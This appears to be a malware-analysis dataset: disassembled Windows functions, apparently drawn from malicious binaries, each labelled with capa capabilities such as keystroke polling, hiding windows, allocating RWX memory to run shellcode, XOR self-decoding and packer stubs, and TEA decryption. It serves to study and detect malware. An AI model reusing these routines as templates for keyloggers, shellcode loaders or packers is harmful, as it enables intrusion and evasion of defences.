joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43ab82
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
mov eax, dword [edi + 0x88]
mov ecx, dword [eax]
push ebx
push esi
push eax
call dword [ecx + 0x3c]
xor esi, esi
push 0x58
mov ebx, eax
lea eax, [ebp - 0x6c]
push esi
push eax
mov dword [ebp - 0x70], esi
call fcn.004432d0
add esp, 0xc
push 0x11
call dword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jns 0x43abbc
push 4
pop esi
or esi, dword [ebp + 0xc]
xor eax, eax
or esi, 0x10001
mov dword [ebp - 0x6c], esi
test dword [ebx + 0xa8], 0x800
je 0x43abd9
push 0x10
pop eax
push 1
push eax
lea ebx, [ebp - 0x70]
mov eax, edi
call fcn.0043a90d
mov eax, dword [ebp + 8]
xor esi, esi
push esi
mov dword [ebp - 0x58], eax
push esi
mov eax, 0x4000
mov word [ebp - 0x10], ax
push esi
lea edx, [ebp - 0x10]
mov eax, ebx
push edx
mov dword [ebp - 8], eax
mov eax, dword [edi + 0x98]
mov ecx, dword [eax]
push 0x80000506
push eax
call dword [ecx + 0xc]
mov eax, ebx
mov dword [ebp - 0x58], esi
call fcn.00442de7
pop esi
pop ebx
leave
ret 8

Function at 0x43cf3d
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push edi
push dword [ebp + 8]
lea eax, [esi + 0x14]
push ebx
push 0x222
call fcn.00440961
mov dword [ebp - 0x10], eax
mov eax, dword [esi + 0x24]
mov dword [ebp - 0xc], eax
cmp eax, dword [ebp + 8]
je 0x43cf6b
test ebx, ebx
jne 0x43d016
test ebx, ebx
je 0x43cfaa
lea eax, [ebp - 8]
push eax
mov edi, ebx
call fcn.0043e347
pop ecx
test eax, eax
js 0x43cfaa
mov ecx, dword [ebp - 8]
push 0xb
pop eax
mov word [ebp - 0x24], ax
xor eax, eax
push eax
push eax
push eax
mov word [ebp - 0x1c], ax
mov edx, dword [ecx]
lea eax, [ebp - 0x24]
push eax
push 0x80000400
push ecx
call dword [edx + 0xc]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esi + 0x154]
inc dword [eax + 0x4c]
mov eax, dword [eax + 0x4c]
mov ecx, dword [esi + 0x154]
mov dword [esi + 0x3c], eax
test dword [ecx + 0x44], 1
jne 0x43cfd3
mov edx, ecx
push 0xffffffffffffffff
mov ecx, esi
call fcn.0043df6c
test dword [esi + 0x28], 0x80000000
je 0x43d016
test ebx, ebx
je 0x43d016
cmp ebx, dword [ebp + 8]
je 0x43d016
mov edi, dword [sym.imp.USER32.dll_GetWindowLongW]
push 0xfffffffffffffff0
push dword [ebp - 0xc]
call edi
test eax, 0x1000000
je 0x43d016
push 4
push ebx
call edi
mov edi, eax
test edi, edi
je 0x43d016
push dword [esi + 0x30]
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 0
push edi
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [ebp - 0x10]
pop edi
leave
ret 4
Function at 0x43e347
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x1c]
push eax
mov dword [ebp - 0x24], str.GetViewFrameFromHWND
call esi
push 0xffffffffffffffeb
push edi
mov ebx, 0x80004005
call dword [sym.imp.USER32.dll_GetWindowLongW]
test eax, eax
je 0x43e393
push dword [ebp - 0x28]
mov ecx, dword [eax]
push 0x44b7e8
push eax
call dword [ecx]
mov ebx, eax
lea eax, [ebp - 0x14]
push eax
call esi
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0x1c]
push eax
push dword [ebp - 0x24]
push 0x44d1b4
call fcn.0043e49d
mov ecx, dword [ebp - 8]
add esp, 0xc
pop esi
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.0044552e
leave
ret

Function at 0x440afa
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov eax, dword [0x450818]
push esi
push edi
cmp eax, 1
jne 0x440b1c
push 0xd
push 0
push dword [0x4507f0]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x440b40
jmp 0x440b82
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
push eax
call edi
test eax, eax
jne 0x440b82
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x440b44
xor eax, eax
jmp 0x440b82
mov eax, dword [esi]
push dword [0x450818]
call edi
mov edi, eax
test edi, edi
je 0x440b66
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, edi
jmp 0x440b82
lea edi, [esi + 0xff0]
push esi
push dword [0x450818]
call dword [sym.imp.KERNEL32.dll_InterlockedPushEntrySList]
add esi, 0x10
cmp esi, edi
jb 0x440b6c
mov eax, esi
pop edi
pop esi
ret

Function at 0x4416e3
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp dword [ebp - 8], 0
mov dword [ebp - 0xc], eax
jne 0x441746
test eax, eax
je 0x441746
and dword [ebp - 4], 0
lea ecx, [eax + 2]
cmp ecx, 0x1000
setb bl
test bl, bl
je 0x441721
mov ecx, dword [ebp + 0xc]
add ecx, 0x24
mov dword [ebp - 4], ecx
push esi
push edi
push dword [ebp + 8]
lea esi, [ebp - 4]
mov edi, eax
call fcn.00441c3c
pop ecx
pop edi
pop esi
test eax, eax
js 0x44175a
test bl, bl
jne 0x44175a
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
mov dword [edx + 0x20], ecx
jmp 0x44175a
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x44175a
and eax, 0xffff
or eax, 0x80070000
pop ebx
leave
ret
Function at 0x441b32
Capabilities:
Clear file content
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [ebp - 8]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
mov dword [ebp - 4], 0xfeff
call esi
test eax, eax
je 0x441b7c
push 0
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call esi
test eax, eax
je 0x441b7c
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
xor eax, eax
jmp 0x441b90
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x441b90
and eax, 0xffff
or eax, 0x80070000
pop esi
leave
ret

Function at 0x441c3c
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
and dword [ebp - 8], 0
cmp dword [esi], 0
jne 0x441c63
lea eax, [edi + 2]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [esi], eax
test eax, eax
je 0x441ca1
push 0
lea eax, [ebp - 4]
push eax
push edi
push dword [esi]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x441c8b
cmp dword [ebp - 4], edi
jne 0x441c8b
mov eax, dword [esi]
xor ecx, ecx
mov word [edi + eax], cx
mov eax, dword [ebp - 8]
leave
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x441ca6
and eax, 0xffff
or eax, 0x80070000
leave
ret
mov eax, 0x8007000e
leave
ret

Function at 0x441ca8
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 1
push 3
push SysReAllocStringLen
push dword [ebp + 8]
call fcn.00441bde
mov esi, eax
add esp, 0x14
test esi, esi
js 0x441cf1
push edi
push 0
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push dword [ebp - 4]
mov esi, dword [ebp + 0xc]
mov edi, eax
call fcn.00441c3c
pop ecx
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, esi
pop esi
leave
ret

Function at 0x4425cb
Capabilities:
Read clipboard data

Disassembly:
push ebx
mov ebx, dword [sym.imp.USER32.dll_GetClipboardData]
push esi
push 0xd
mov byte [edi], 0
call ebx
mov esi, eax
test esi, esi
jne 0x4425f3
push 1
call ebx
mov esi, eax
mov byte [edi], 1
test esi, esi
jne 0x4425f3
call dword [sym.imp.USER32.dll_CloseClipboard]
mov eax, esi
pop esi
pop ebx
ret

Function at 0x44290f
Capabilities:
Get file system object information

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
xor esi, esi
cmp eax, esi
je 0x44294f
mov ecx, dword [eax]
push esi
lea edx, [ebp - 4]
push edx
push esi
push dword [ebp + 8]
push esi
push esi
push eax
call dword [ecx + 0xc]
test eax, eax
js 0x44294f
push 0x208
push 0x2b4
push edi
push esi
push dword [ebp - 4]
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
push dword [ebp - 4]
call dword [sym.imp.ole32.dll_CoTaskMemFree]
jmp 0x442960
mov ecx, dword [ebp + 8]
push 0x104
lea eax, [edi + 0xc]
call fcn.00440c1b
pop ecx
lea eax, [edi + 0xc]
pop esi
leave
ret
Function at 0x442c3c
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov ecx, dword [ebp + 0xc]
lea ecx, [ecx + ecx + 0x214]
push ecx
xor ebx, ebx
push ebx
push eax
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
cmp esi, ebx
je 0x442d0d
push edi
push 0x22
pop eax
mov word [esi], ax
push 0x104
lea eax, [esi + 2]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, dword [ebp + 8]
mov edi, eax
push 0x22
pop eax
mov word [esi + edi*2 + 2], ax
push 0x20
pop eax
mov word [esi + edi*2 + 4], ax
push 0x22
pop eax
mov word [esi + edi*2 + 6], ax
mov eax, dword [ebp + 0xc]
inc eax
push eax
lea eax, [esi + edi*2 + 8]
call fcn.00440c1b
mov eax, dword [ebp + 0xc]
push 0x22
pop ecx
add eax, edi
push 0x44
mov word [esi + eax*2 + 0xa], cx
pop edi
xor ecx, ecx
push edi
mov word [esi + eax*2 + 0xc], cx
lea eax, [ebp - 0x58]
push ebx
push eax
call fcn.004432d0
add esp, 0x10
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x58]
push eax
push ebx
push ebx
push 0x20
push ebx
push ebx
push ebx
push esi
push ebx
mov dword [ebp - 0x58], edi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x442d01
push dword [ebp - 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [ebp - 0x14]
call edi
push esi
push ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x44552e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x445538
repz ret
jmp fcn.004456c5
Function at 0x2a30de4c
Capabilities:
Terminate thread

Disassembly:
push 0xc
mov eax, 0x2a351a4b
call fcn.2a3027ac
mov ebx, ecx
xor ecx, ecx
cmp dword [ebx], 0xb
mov edi, ecx
mov dword [ebp - 0x14], edi
jne 0x2a30df3d
push 0xea60
push dword [ebx + 0x2d8]
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
or dword [ebx + 0x1a0], 0xffffffff
push 1
push dword [ebx + 0x2d4]
call dword [sym.imp.kernel32.dll_SetThreadPriority]
push dword [ebx + 0x2d8]
call dword [sym.imp.kernel32.dll_ReleaseMutex]
call dword [sym.imp.kernel32.dll_GetTickCount]
shr eax, 4
lea esi, [eax + 0x12c]
call dword [sym.imp.kernel32.dll_GetTickCount]
shr eax, 4
cmp eax, esi
jae 0x2a30def6
mov edi, esi
push 0xea60
push dword [ebx + 0x2d8]
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
push dword [ebx + 0x2d8]
mov esi, dword [ebx]
call dword [sym.imp.kernel32.dll_ReleaseMutex]
cmp esi, 0xb
jne 0x2a30def3
push 0x64
call dword [sym.imp.kernel32.dll_Sleep]
call dword [sym.imp.kernel32.dll_GetTickCount]
shr eax, 4
cmp eax, edi
jb 0x2a30deba
mov edi, dword [ebp - 0x14]
push 0xea60
push dword [ebx + 0x2d8]
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
cmp dword [ebx], 0xb
jne 0x2a30df1d
push 1
push dword [ebx + 0x2d4]
call dword [sym.imp.kernel32.dll_TerminateThread]
xor edi, edi
inc edi
push dword [ebx + 0x2d8]
call dword [sym.imp.kernel32.dll_ReleaseMutex]
push dword [ebx + 0x2d8]
call dword [sym.imp.kernel32.dll_CloseHandle]
xor ecx, ecx
mov dword [ebx + 0x2d8], ecx
cmp dword [ebx + 0x18], 0
lea esi, [ebx + 0x1a0]
mov dword [esi], ecx
je 0x2a30df72
test di, di
jne 0x2a30df6f
push esi
push dword [ebx + 0x18]
call fcn.2a333d6f
xor ecx, ecx
cmp dword [esi], ecx
jne 0x2a30df72
push esi
push dword [ebx + 0x14]
mov dword [ebx + 0x18], ecx
call fcn.2a333d6f
xor ecx, ecx
jmp 0x2a30df72
mov dword [ebx + 0x18], ecx
cmp word [ebx + 0x144], cx
je 0x2a30dff9
push ecx
push ecx
lea ecx, [ebp - 0x18]
call fcn.2a333d6f
mov edi, dword [0x2a36ab40]
xor eax, eax
push eax
mov dword [ebp - 4], eax
lea eax, [ebx + 0x40]
push eax
mov eax, dword [0x2a36ab34]
push str.Cstring
mov esi, dword [eax + 0x14]
mov ecx, esi
call dword [0x2a35635c]
call esi
mov esi, dword [edi + 0xd0]
pop ecx
movzx eax, ax
mov ecx, esi
push eax
push 0
call dword [0x2a35635c]
call esi
add esp, 0x10
lea ecx, [ebp - 0x18]
push 0
push eax
call fcn.2a333d6f
cmp dword [ebp - 0x14], 0
je 0x2a30dfeb
lea ecx, [ebp - 0x18]
call fcn.2a333d6f
test al, al
je 0x2a30dfeb
lea ecx, [ebp - 0x18]
call fcn.2a33c9da
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x18]
call fcn.2a333d6f
xor ecx, ecx
cmp dword [ebx + 0x34], 0
je 0x2a30e01d
mov eax, dword [0x2a36a804]
push dword [ebx + 0x34]
mov esi, dword [eax + 0x284]
mov ecx, esi
call dword [0x2a35635c]
call esi
pop ecx
xor ecx, ecx
mov dword [ebx + 0x34], ecx
mov eax, dword [ebx + 0x20]
test eax, eax
je 0x2a30e051
push eax
mov eax, dword [0x2a36ab50]
cmp word [ebx + 0x196], cx
je 0x2a30e03b
mov esi, dword [eax + 0x124]
jmp 0x2a30e041
mov esi, dword [eax + 0x11c]
mov ecx, esi
call dword [0x2a35635c]
call esi
xor eax, eax
pop ecx
mov dword [ebx + 0x20], eax
mov dword [ebx], 2
call fcn.2a302c60
ret
Function at 0x2a333d6f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x2a333d7e
pop dword [ebp - 0x48]
mov eax, 0x2a333d7e
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0x3fb8d726
sub dword [ebp - 0x58], 0xf16691db
mov dword [ebp - 0x54], 0x6e98b5c7
add dword [ebp - 0x54], 0xc39a967e
mov dword [ebp - 0x50], 0xfc72a436
add dword [ebp - 0x50], 0x4fd99ff8
mov dword [ebp - 0x4c], 0xbb4e747e
add dword [ebp - 0x4c], 0x44b18b82
lea eax, [ebp - 0x58]
push eax
mov eax, 0x8624dfb8
add eax, 0xa41080c4
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0xbe12308
sub dword [ebp - 0x58], 0x976eb9b2
mov dword [ebp - 0x54], 0x5b6f4b0a
add dword [ebp - 0x54], 0xe5fd166b
mov dword [ebp - 0x50], 0x7a1b8863
sub dword [ebp - 0x50], 0x16ac1bf7
mov dword [ebp - 0x4c], 0x9f9cf5dc
sub dword [ebp - 0x4c], 0x9f9cf5dc
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x49dca
push 0
call eax
mov ecx, 0xfc700ed9
sub ecx, 0xfc6fc551
xor ebx, ebx
add ebx, eax
mov edx, 0x60f24e10
sub edx, 0x36ba7610
add edx, dword [ebp - 0x48]
mov edi, 0xa704c0b9
sub edi, 0xd24d372e
xor dword [ebp - 8], 0x70024944
mov esi, dword [edx]
sub dword [ebp - 0x18], 0x75532755
xor esi, edi
xor dword [ebp - 0x28], 0xb0c2814
mov dword [ebx], esi
mov dword [ebp - 0x20], 0x3d890986
add ebx, 0xa69ff354
add ebx, 0x59600cb0
add edx, 0x714a0587
sub edx, 0x714a0583
loop 0x2a333e98
add eax, 0x118f3
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x2a300000
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43200c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x40729f
sub eax, 0x407245
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x432030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43201e
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x40be27
Capabilities:
Decrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax]
mov ebx, dword [eax + 8]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [eax + 4]
mov eax, dword [eax + 0xc]
push edi
mov dword [ebp - 8], esi
mov edi, 0xc6ef3720
mov dword [ebp - 0x24], 0x9e3779b9
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], 0x20
jmp 0x40be6d
mov esi, dword [ebp - 8]
mov eax, esi
shl eax, 4
cmp dword [0x7e471c], 5
mov dword [ebp + 0xc], eax
jne 0x40be89
push 0
call dword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
mov eax, dword [ebp + 0xc]
and dword [0x7e411c], 0
lea ecx, [edi + esi]
shr esi, 5
add esi, dword [ebp - 0x14]
add eax, ebx
xor eax, ecx
xor esi, eax
mov dword [ebp + 0xc], eax
mov dword [ebp - 0x18], esi
mov eax, dword [ebp - 0x18]
add dword [0x7e411c], eax
push esi
lea eax, [ebp - 0xc]
push eax
call fcn.0040bd77
mov esi, dword [ebp - 0xc]
mov eax, esi
shl eax, 4
mov dword [ebp + 0xc], eax
mov eax, dword [ebp - 0x1c]
add dword [ebp + 0xc], eax
or dword [0x7e4124], 0xffffffff
lea eax, [edi + esi]
push eax
mov edx, esi
lea eax, [ebp + 0xc]
shr edx, 5
add edx, dword [ebp - 0x20]
push eax
mov dword [0x7e4120], 0xff6b3619
call fcn.0040bdb6
push edx
lea eax, [ebp + 0xc]
push eax
call fcn.0040bdb6
push dword [ebp + 0xc]
lea eax, [ebp - 8]
push eax
call fcn.0040bd86
and dword [ebp - 4], 0
mov eax, dword [ebp - 0x24]
add dword [ebp - 4], eax
sub edi, dword [ebp - 4]
dec dword [ebp - 0x10]
jne 0x40be6a
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 8]
pop edi
mov dword [eax + 4], esi
pop esi
mov dword [eax], ecx
pop ebx
leave
ret 8

Function at 0x40bf2d
Capabilities:
Copy file
Manipulate console buffer
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x808
push ebx
xor ebx, ebx
cmp dword [0x7e471c], 0x516
push edi
jne 0x40bf7a
push ebx
push ebx
push ebx
push 0x401340
push 0x401358
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressA]
xor eax, eax
mov word [ebp - 4], ax
lea edi, [ebp - 2]
stosw word es:[edi], ax
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
lea eax, [ebp - 0x808]
push ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
mov eax, dword [ebp + 0xc]
shr eax, 3
cmp eax, ebx
jbe 0x40bfb7
push esi
mov esi, dword [ebp + 8]
mov edi, eax
cmp dword [0x7e471c], 0x29
jne 0x40bfa7
push ebx
push ebx
push ebx
push ebx
push 0x401378
push 0x4013bc
call dword [sym.imp.KERNEL32.dll_CopyFileExW]
push dword [ebp + 0x10]
push esi
call fcn.0040be27
add esi, 8
dec edi
jne 0x40bf8a
pop esi
pop edi
pop ebx
leave
ret 0xc
Function at 0x40bfbd
Capabilities:
Get common file path
Get hostname

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x20d0
call fcn.0040ee70
cmp dword [0x7e471c], 0x37
jne 0x40c08b
push esi
push edi
xor eax, eax
xor esi, esi
mov dword [ebp - 0x18], esi
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x34]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsW]
lea eax, [ebp - 0x18d0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
push 0x4013f8
push 0x401420
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x8d0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetComputerNameExW]
push esi
lea eax, [ebp - 0x10d0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalGetAtomNameW]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push esi
push esi
push esi
lea eax, [ebp - 0xd0]
push eax
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoA]
push esi
lea eax, [ebp - 0x20d0]
push eax
push 0x401448
call dword [sym.imp.KERNEL32.dll_GetProfileSectionW]
push esi
call dword [sym.imp.KERNEL32.dll_AddAtomA]
pop edi
pop esi
mov eax, dword [ebp + 8]
mov ecx, dword [0x7e62a0]
mov cl, byte [ecx + eax + 0x38d6]
mov edx, dword [0x7e4118]
mov byte [edx + eax], cl
leave
ret 4
Function at 0x40c820
Capabilities:
Get file attributes
Get hostname
Read .ini file
Set current directory

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1818
call fcn.0040ee70
push esi
push edi
xor esi, esi
xor edi, edi
cmp dword [0x7e471c], 0x47
jne 0x40c8a4
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoW]
push 0x4015e0
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push 0x4015fc
call dword [sym.imp.KERNEL32.dll_AddAtomA]
push esi
call dword [sym.imp.KERNEL32.dll_DebugBreakProcess]
push esi
lea eax, [ebp - 0x1018]
push eax
push esi
push 0x401610
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
push 0x401638
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetQueuedCompletionStatus]
push esi
push esi
lea eax, [ebp - 0x818]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
cmp edi, 0x4caa
je 0x40c929
cmp dword [0x7e471c], 0xf
jne 0x40c91a
push esi
lea eax, [ebp - 0x818]
push eax
push esi
call dword [sym.imp.KERNEL32.dll__hread]
push esi
push esi
lea eax, [ebp - 0x418]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStructA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x18]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push esi
lea eax, [ebp - 0xc18]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetAtomNameA]
push esi
lea eax, [ebp - 0x1818]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
inc edi
cmp edi, 0x2443831
jl 0x40c833
jmp 0x40c933
mov eax, dword [0x43853c]
mov dword [0x7e471c], eax
xor edi, edi
cmp dword [0x7e471c], 0x15
jne 0x40c957
call dword [sym.imp.KERNEL32.dll_GetThreadLocale]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetMailslotInfo]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
cmp edi, 0x89626
jne 0x40c96f
push 0x401644
push 0x7e4720
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
cmp edi, 0x173a
jne 0x40c981
mov eax, dword [0x438008]
mov dword [0x7e62a0], eax
inc edi
cmp edi, 0x79a863
jl 0x40c935
call fcn.0040c1bb
pop edi
xor eax, eax
pop esi
leave
ret 0x10

Function at 0x40fe00
Capabilities:
Move file

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
jne 0x40fe23
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
jmp 0x40fe2a
mov dword [ebp - 4], 0
cmp dword [ebp - 4], 0
je 0x40fe41
mov edx, dword [ebp - 4]
push edx
call fcn.00414340
add esp, 4
or eax, 0xffffffff
jmp 0x40fe43
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x413590
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x447b4c]
jne 0x41359a
repz ret
jmp fcn.00423e60
Function at 0x433760
Capabilities:
Delete file

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x43377f
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
jmp 0x433786
mov dword [ebp - 4], 0
cmp dword [ebp - 4], 0
je 0x43379d
mov ecx, dword [ebp - 4]
push ecx
call fcn.00414340
add esp, 4
or eax, 0xffffffff
jmp 0x43379f
xor eax, eax
mov esp, ebp
pop ebp
ret